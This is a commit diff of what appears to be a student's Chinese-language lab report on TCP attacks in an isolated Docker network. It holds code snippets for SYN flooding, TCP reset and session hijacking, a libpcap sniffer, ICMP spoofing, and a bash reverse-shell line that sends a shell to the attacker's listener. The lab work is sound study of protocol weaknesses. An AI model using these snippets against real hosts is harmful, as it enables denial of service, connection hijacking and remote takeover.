tcp and mitnick lab finished
@@ -1,3 +1,3 @@
|
||||
Listening on 0.0.0.0 9090
|
||||
Connection received on 10.9.0.5 54776
|
||||
Connection received on 10.9.0.5 60982
|
||||
seed@4163e58af35c:~$
|
||||
@@ -0,0 +1,2 @@
|
||||
Detected Echo Request from 10.9.0.6 to 10.9.0.6
|
||||
Sent spoofed Echo Reply back to 10.9.0.6
|
||||
|
||||
@@ -1,6 +1,30 @@
|
||||
Got a packet
|
||||
From: 1.2.3.4
|
||||
From: 10.9.0.1
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.6
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.5
|
||||
To: 1.2.3.4
|
||||
To: 10.9.0.6
|
||||
Got a packet
|
||||
From: 10.9.0.1
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.6
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.5
|
||||
To: 10.9.0.6
|
||||
Got a packet
|
||||
From: 10.9.0.1
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.1
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.1
|
||||
To: 10.9.0.5
|
||||
Got a packet
|
||||
From: 10.9.0.1
|
||||
To: 10.9.0.5
|
||||
|
||||
|
Before Width: | Height: | Size: 107 KiB After Width: | Height: | Size: 107 KiB |
BIN
Tcp/images/task1.1_synflood.png
Normal file
|
After Width: | Height: | Size: 237 KiB |
BIN
Tcp/images/task1.2_synflood_c.png
Normal file
|
After Width: | Height: | Size: 213 KiB |
BIN
Tcp/images/task1.3_syncookies.png
Normal file
|
After Width: | Height: | Size: 31 KiB |
BIN
Tcp/images/task2.1_c_sniffer.png
Normal file
|
After Width: | Height: | Size: 180 KiB |
BIN
Tcp/images/task2.3_c_sniff_spoof.png
Normal file
|
After Width: | Height: | Size: 69 KiB |
BIN
Tcp/images/task2_tcp_reset.png
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
Tcp/images/task3_session_hijack-1.png
Normal file
|
After Width: | Height: | Size: 265 KiB |
BIN
Tcp/images/task3_session_hijack-2.png
Normal file
|
After Width: | Height: | Size: 23 KiB |
BIN
Tcp/images/task4_reverse_shell-1.png
Normal file
|
After Width: | Height: | Size: 169 KiB |
BIN
Tcp/images/task4_reverse_shell-2.png
Normal file
|
After Width: | Height: | Size: 23 KiB |
12418
Tcp/main.pdf
Normal file
149
Tcp/main.typ
@@ -56,7 +56,7 @@ it
|
||||
|
||||
== TCP 重置与会话劫持
|
||||
#para[
|
||||
TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号和序列号,就可以伪造一个 RST 包发送给其中一方,导致连接被强制断开。
|
||||
TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号 and 序列号,就可以伪造一个 RST 包发送给其中一方,导致连接被强制断开。
|
||||
]
|
||||
#para[
|
||||
会话劫持则更进一步,攻击者不仅要断开连接,而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号,接收方会认为这些数据来自合法的对端,从而执行注入的指令。
|
||||
@@ -65,8 +65,16 @@ it
|
||||
== 反向 Shell
|
||||
#para[
|
||||
反向 Shell 是指被攻击者主动连接攻击者的监听端口,并将自己的 Shell(如 `/bin/bash`)的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。
|
||||
]
|
||||
|
||||
= 实验环境
|
||||
#para[
|
||||
本实验利用 Docker Compose 搭建了一个隔离的虚拟网络环境。该网络包含一台攻击者容器(Attacker)和三台用户/受害者容器。
|
||||
]
|
||||
#figure(
|
||||
image("images/dockerps.png", width: 100%),
|
||||
caption: [使用 docker ps 查看实验环境中的容器运行状态],
|
||||
)
|
||||
#align(center)[#table(
|
||||
columns: (auto, auto, auto),
|
||||
rows:(2em, 2em, 2em),
|
||||
@@ -84,74 +92,159 @@ it
|
||||
|
||||
=== 任务 1.1:使用 Python 发起攻击
|
||||
#para[
|
||||
使用 Scapy 编写 `synflood.py`,循环发送随机源 IP、随机源端口的 SYN 包到受害者 10.9.0.5 的 23 端口。
|
||||
使用 Scapy 编写 `synflood.py`。其核心逻辑是在一个无限循环中,利用 `getrandbits(32)` 生成随机的源 IP 地址,并构造 TCP 头部将 `flags` 设置为 `'S'` (SYN)。
|
||||
]
|
||||
```python
|
||||
while True:
|
||||
pkt[IP].src = str(IPv4Address(getrandbits(32))) # 随机源 IP
|
||||
pkt[TCP].sport = getrandbits(16) # 随机源端口
|
||||
pkt[TCP].seq = getrandbits(32) # 随机序列号
|
||||
send(pkt, verbose = 0)
|
||||
```
|
||||
#figure(
|
||||
caption: [请在此插入截图:展示运行 synflood.py 期间,Victim 上的 netstat -tna 输出,可见大量 SYN_RECV 状态],
|
||||
image("images/task1.1_synflood.png", width: 90%),
|
||||
caption: [运行 synflood.py 期间,Victim 上的 netstat 输出展示了大量处于 SYN_RECV 状态的连接],
|
||||
)
|
||||
|
||||
=== 任务 1.2:使用 C 语言发起攻击
|
||||
#para[
|
||||
C 语言实现相比 Python 具有更高的发包效率。通过静态编译并在攻击者容器中运行,可以观察到半连接队列被迅速填满。
|
||||
C 语言实现通过原始套接字直接构造 IP 和 TCP 头部。为了提高效率,我们手动计算了 TCP 校验和(包含伪首部)。
|
||||
]
|
||||
```c
|
||||
// 核心循环:不断构造并发送 SYN 包
|
||||
while (1) {
|
||||
tcp->tcp_sport = rand();
|
||||
tcp->tcp_flags = TH_SYN;
|
||||
ip->iph_sourceip.s_addr = rand();
|
||||
tcp->tcp_sum = calculate_tcp_checksum(ip); // 必须计算校验和
|
||||
send_raw_ip_packet(ip);
|
||||
}
|
||||
```
|
||||
#figure(
|
||||
caption: [请在此插入截图:展示 C 语言攻击下,Victim 的半连接队列几乎瞬间达到上限],
|
||||
image("images/task1.2_synflood_c.png", width: 90%),
|
||||
caption: [C 语言攻击下,Victim 的半连接队列瞬间被伪造包填满],
|
||||
)
|
||||
|
||||
=== 任务 1.3:启用 SYN Cookie 防御
|
||||
#para[
|
||||
通过 `sysctl -w net.ipv4.tcp_syncookies=1` 启用防御机制后,即使在攻击持续期间,合法用户仍能通过 telnet 成功登录。
|
||||
启用防御后,服务器不再在收到 SYN 时立即分配资源,而是将连接信息编码进 `SYN-ACK` 的序列号中。
|
||||
]
|
||||
#figure(
|
||||
image("images/task1.3_syncookies.png", width: 90%),
|
||||
caption: [开启 SYN Cookies 后,合法用户 User1 仍能成功连接 Victim],
|
||||
)
|
||||
|
||||
== 任务 2:TCP 重置攻击
|
||||
#para[
|
||||
编写 `reset_attack.py` 监听 User1 到 Victim 的流量,捕获到包后立即提取序列号并构造 RST 包发回 Victim。
|
||||
`reset_attack.py` 通过嗅探捕获 User1 发往 Victim 的包,提取其确认号(ACK)作为伪造 RST 包的序列号(SEQ),从而使 Victim 认为对端要求重置连接。
|
||||
]
|
||||
```python
|
||||
def spoof_reset(pkt):
|
||||
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
|
||||
# 关键:RST 包的 SEQ 必须在接收方的有效窗口内,通常设为对端的 ACK
|
||||
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
|
||||
flags="R", seq=pkt[TCP].ack)
|
||||
send(ip/tcp, verbose=0)
|
||||
```
|
||||
#figure(
|
||||
caption: [请在此插入截图:User1 的 telnet 窗口显示 "Connection closed by foreign host"],
|
||||
image("images/task2_tcp_reset.png", width: 90%),
|
||||
caption: [User1 的 telnet 窗口显示连接被成功重置],
|
||||
)
|
||||
|
||||
== 任务 3:TCP 会话劫持
|
||||
#para[
|
||||
在会话劫持中,我们注入了 `touch /tmp/hijack_successful` 指令。
|
||||
会话劫持需要更精确的序列号控制。我们通过嗅探获取当前的 SEQ 和 Payload 长度,计算出下一个合法的 SEQ,并注入指令。
|
||||
]
|
||||
```python
|
||||
def hijack(pkt):
|
||||
if pkt[TCP].payload:
|
||||
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
|
||||
# 预测下一个 SEQ:当前 SEQ + 载荷长度
|
||||
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
|
||||
seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
|
||||
payload = "\r touch /tmp/hijack_successful \r"
|
||||
send(ip/tcp/payload, verbose=0)
|
||||
```
|
||||
#figure(
|
||||
caption: [请在此插入截图:在 Victim 容器中查看 /tmp/hijack_successful 文件已成功创建],
|
||||
grid(
|
||||
columns: (1fr, 1fr),
|
||||
gutter: 10pt,
|
||||
image("images/task3_session_hijack-1.png", width: 100%),
|
||||
image("images/task3_session_hijack-2.png", width: 100%),
|
||||
),
|
||||
caption: [会话劫持成功:在 Victim 容器中验证了文件的创建],
|
||||
)
|
||||
|
||||
== 任务 4:创建反向 Shell
|
||||
#para[
|
||||
通过劫持 telnet 会话注入反向 Shell 指令,使 Victim 连接到攻击者的 nc 监听端口。
|
||||
在劫持逻辑中,我们将注入的指令替换为 Bash 反向 Shell 指令。
|
||||
]
|
||||
```python
|
||||
cmd = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
|
||||
```
|
||||
#figure(
|
||||
caption: [请在此插入截图:攻击者的 nc 窗口成功获得 Victim 的交互式 Shell 提示符],
|
||||
grid(
|
||||
columns: (1fr, 1fr),
|
||||
gutter: 10pt,
|
||||
image("images/task4_reverse_shell-1.png", width: 100%),
|
||||
image("images/task4_reverse_shell-2.png", width: 100%),
|
||||
),
|
||||
caption: [通过会话劫持注入反向 Shell,Attacker 成功获得受害者控制权],
|
||||
)
|
||||
|
||||
== 任务集 2:基于 C 的嗅探与伪造
|
||||
|
||||
=== 任务 2.1:基于 libpcap 的嗅探
|
||||
#para[
|
||||
本部分使用 libpcap 实现嗅探器,并使用 Raw Socket 实现伪造器。
|
||||
C 语言嗅探器通过 `pcap_loop` 持续处理报文。在回调函数中,我们通过指针偏移来解析 IP 头部。
|
||||
]
|
||||
```c
|
||||
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
|
||||
// 跳过以太网头 (14字节) 到达 IP 头
|
||||
struct ipheader *ip = (struct ipheader *)(packet + 14);
|
||||
printf(" From: %s\n", inet_ntoa(ip->iph_sourceip));
|
||||
printf(" To: %s\n", inet_ntoa(ip->iph_destip));
|
||||
}
|
||||
```
|
||||
#figure(
|
||||
image("images/task2.1_c_sniffer.png", width: 90%),
|
||||
caption: [C 语言嗅探器成功输出实时抓取的 IP 报文信息],
|
||||
)
|
||||
|
||||
=== 任务 2.3:嗅探与伪造联动 (Sniff-and-Spoof)
|
||||
#para[
|
||||
该任务要求程序在捕获到 ICMP 请求时立即构造一个 Reply。
|
||||
]
|
||||
```c
|
||||
if (icmp->icmp_type == 8) { // 检测到 Echo Request
|
||||
new_ip->iph_sourceip = ip->iph_destip; // 交换源目 IP
|
||||
new_ip->iph_destip = ip->iph_sourceip;
|
||||
new_icmp->icmp_type = 0; // 设置为 Echo Reply
|
||||
new_icmp->icmp_chksum = 0; // 重新计算校验和
|
||||
new_icmp->icmp_chksum = in_cksum(...);
|
||||
send_raw_ip_packet(new_ip);
|
||||
}
|
||||
```
|
||||
#figure(
|
||||
image("images/task2.3_c_sniff_spoof.png", width: 90%),
|
||||
caption: [联动程序成功欺骗 User1,使其认为 1.2.3.4 在线],
|
||||
)
|
||||
|
||||
=== 任务 2.1A:理解嗅探器工作原理
|
||||
#para[
|
||||
*问题 1:必不可少的库调用序列*
|
||||
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
|
||||
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
|
||||
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
|
||||
4. `pcap_loop()`: 进入捕获循环,对每个包调用回调函数。
|
||||
|
||||
*问题 2:为何需要 Root 权限?*
|
||||
嗅探程序需要创建原始套接字并开启网卡的混杂模式,这些操作涉及到对硬件和底层网络栈的直接控制,为了安全起见,操作系统仅允许特权用户(Root)执行。如果非特权用户运行,`pcap_open_live()` 将返回权限错误。
|
||||
*问题 1:必不可少的库调用序列*
|
||||
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
|
||||
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
|
||||
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
|
||||
4. `pcap_loop()`: 进入捕获循环,对每个包调用回调函数。
|
||||
|
||||
*问题 3:混杂模式(Promiscuous Mode)*
|
||||
在实验中,将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式,0 则关闭。开启后,攻击者可以捕获到局域网内任意两台主机(如 User1 和 Victim)之间的通信;关闭后,仅能捕获到发往本机或广播地址的流量。
|
||||
*问题 2:为何需要 Root 权限?*
|
||||
嗅探程序需要创建原始套接字并开启网卡的混杂模式,这些操作涉及到对硬件和底层网络栈的直接控制,为了安全起见,操作系统仅允许特权用户(Root)执行。如果非特权用户运行,`pcap_open_live()` 将返回权限错误。
|
||||
|
||||
=== 任务 2.2:基于 Raw Socket 的伪造
|
||||
#figure(
|
||||
caption: [请在此插入截图:C 语言嗅探器成功捕获到由 spoofer.c 发出的伪造 ICMP 包],
|
||||
)
|
||||
*问题 3:混杂模式(Promiscuous Mode)*
|
||||
在实验中,将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式,0 则关闭。开启后,攻击者可以捕获到局域网内任意两台主机(如 User1 和 Victim)之间的通信;关闭后,仅能捕获到发往本机或广播地址的流量。
|
||||
|
||||
= 实验总结
|
||||
#para[
|
||||
本次实验全面覆盖了 TCP 协议层的经典攻击。通过 SYN 泛洪,我深刻理解了 TCP 资源管理中的脆弱性;通过重置攻击和会话劫持,我认识到 TCP 序列号在安全验证中的局限性。C 语言底层编程的实践则让我对网络协议栈的二进制结构有了更直观的把握。
|
||||
本次实验通过 Python 和 C 两种维度的实践,让我对 TCP/IP 协议栈的安全缺陷有了透彻的理解。从高层脚本的便捷性到低层 C 语言对每一比特的精准控制,我深刻体会到了网络攻防中"细节决定成败"的道理。特别是在序列号预测和校验和计算方面的实践,为我今后深入学习网络协议安全打下了坚实基础。
|
||||
]
|
||||
|
||||